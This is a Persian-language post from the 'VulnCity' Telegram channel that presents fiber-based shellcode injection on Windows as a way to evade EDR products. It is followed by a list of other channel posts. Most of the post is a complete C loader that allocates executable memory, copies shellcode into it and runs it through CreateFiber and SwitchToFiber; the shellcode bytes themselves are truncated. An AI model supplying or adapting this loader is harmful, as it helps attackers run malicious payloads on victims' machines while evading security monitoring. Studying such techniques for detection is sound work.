TGViewer
#! VulnCity #! VulnCity @vulncity · 247 subscribers
Post #55 218
#! VulnCity 🕶 ابزار پنهان: Windows Fiber بخش Fiber واحد اجرایی سبک‌وزنی در ویندوز است که برخلاف Thread، توسط سیستم‌عامل زمان‌بندی نمی‌شود و کنترل آن با برنامه‌نویس است. این ویژگی به مهاجمان اجازه می‌دهد shellcode را بدون ایجاد Thread جدید اجرا کرده و از EDRها فرار کنند.…
💻 پیاده‌سازی ShellCode Injection در C از طریق fiber
#include <Windows.h>

int main()
{
// Step 1 : Convert Thread to Fiber
PVOID mainFiber = ConvertThreadToFiber(NULL);

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // shellcode bytes

// Step 2: Allocate executable memory
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);

// Step 3: Create fiber for shellcode
PVOID shellcodeFiber = CreateFiber(NULL,
(LPFIBER_START_ROUTINE)shellcodeLocation,
NULL);

// Step 4: Schedule fiber — shellcode is executed
SwitchToFiber(shellcodeFiber);

return 0;
}


🆔 @vulncity
More from @vulncity
  1. Oct 1, 2026🚀 کمپین «شروع امن» VulnCity شروع شد! خیلی از استارتاپ‌ها و شرکت‌های کوچیک، نیاز به امنیت…
  2. Sep 27, 2026یک وبینار خوب در مورد ADCS از SpecterOps 🤖زیرنویس توسط Qwen 3.7 plus ایجاد شده است. کانال…
  3. Sep 27, 2026photo post
  4. Sep 13, 2026۴۰ نکته برای کاهش Attack Surface و افزایش امنیت سرورهای Linux دانلود فایل 🆔 @vulncity
  5. Sep 12, 2026📌 آسیب‌پذیری بحرانی GitLab با CVSS 10 یک آسیب‌پذیری Path Traversal با شناسه CVE-2026-8570…
  6. Sep 7, 2026قابلیت‌های امنیتی Windows server 2025 📎 امنیت در زیرساخت‌های Windows Server همیشه یکی از…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →